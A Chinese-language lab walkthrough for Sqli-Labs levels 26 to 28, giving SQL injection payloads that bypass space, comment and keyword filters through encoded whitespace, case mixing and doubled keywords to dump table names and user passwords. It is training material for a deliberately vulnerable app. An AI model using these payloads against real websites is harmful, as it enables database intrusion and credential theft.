Sqli-Labs 闯关 less 26-31

Less 26

这一关我们发现跟前面的还不一样，看一下源代码，发现这关过滤了注释和空格的注入。

对于注释和结尾字符的我们此处只能利用构造一个 ' 来闭合后面到 ' ；对于空格，有较多的方法：

%09 TAB键（水平）

%0a 新建一行

%0c 新的一页

%0d return功能

%0b TAB键（垂直）

%a0 空格

or可以用||替换

and可以用&& %26%26

注释符用;%00替代

方法一：updatexml报错注入

获得数据库：?id=0' || updatexml(1, concat(0x7e, database()) ,1) || '1'='1

爆表：?id=1' || updatexml(1, concat(0x7e, (select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=0x7365637572697479))) ,1) || '1'='1

爆列：?id=1' || updatexml(1, concat(0x7e, (select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name='users'))) ,1) || '1'='1

爆信息：?id=1' || updatexml(1, concat(0x7e, (select (group_concat( concat_ws(0x7e,username,passwoorrd) )) from (security.users))) ,1) || '1'='1

这种方法输出不会太多，我们需要改变id的值一个一个去查。。

方法二：用%a0代替空格；%00作为注释符：

因为apache的解析的问题，我这的windows下无法使用一些特殊的字符代替空格。所以我们更换到Linux平台下。

我们可以在kail的docker下安装sqli-labs。。具体过程可以自行百度。。

直接爆用户名密码了：

Less 26a

这一关与上一关的区别在于，在后面加了括号进行闭合。同时不能再用updatexml报错注入了，只能代替绕过。

爆库：?id=0')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1

爆表：?id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1

爆列名：?id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1

爆用户名密码：id=0')%0bunion%0bselect%0b1,group_concat(username,0x3b,passwoorrd),3%0bfrom%0busers%0bwhere%0b('1')=('1

Less 27

我们观察代码，发现多了个select和union转义，并且区分了大小写。

所以我们就用URL编码和大小写进行绕过，其他和上一关一样

爆库名：?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1

爆表:?id=0'%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0'1'='1

爆列：?id=0'%a0uniOn%a0sElEct%a01(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%a0%26%26%a0'1'='1

爆用户名密码：?id=0'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,'3

Less 27a

这关就是把27关的单引号变成双引号，其他都一样。

直接爆用户名密码了，过程一样：?id=0“%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,”3

Less 28

这一关是基于错误的，有括号的单引号字符型，过滤了union和select等的注入。

爆库名：?id=0')UNion%a0SElect%a01,database(),('1')=('1

爆表名：?id=0')UNion%a0SElect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0('1')=('1

爆列名：?id=0')UNion%a0SElect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0ANd%a0table_name='users'%a0%26%26%a0('1')=('1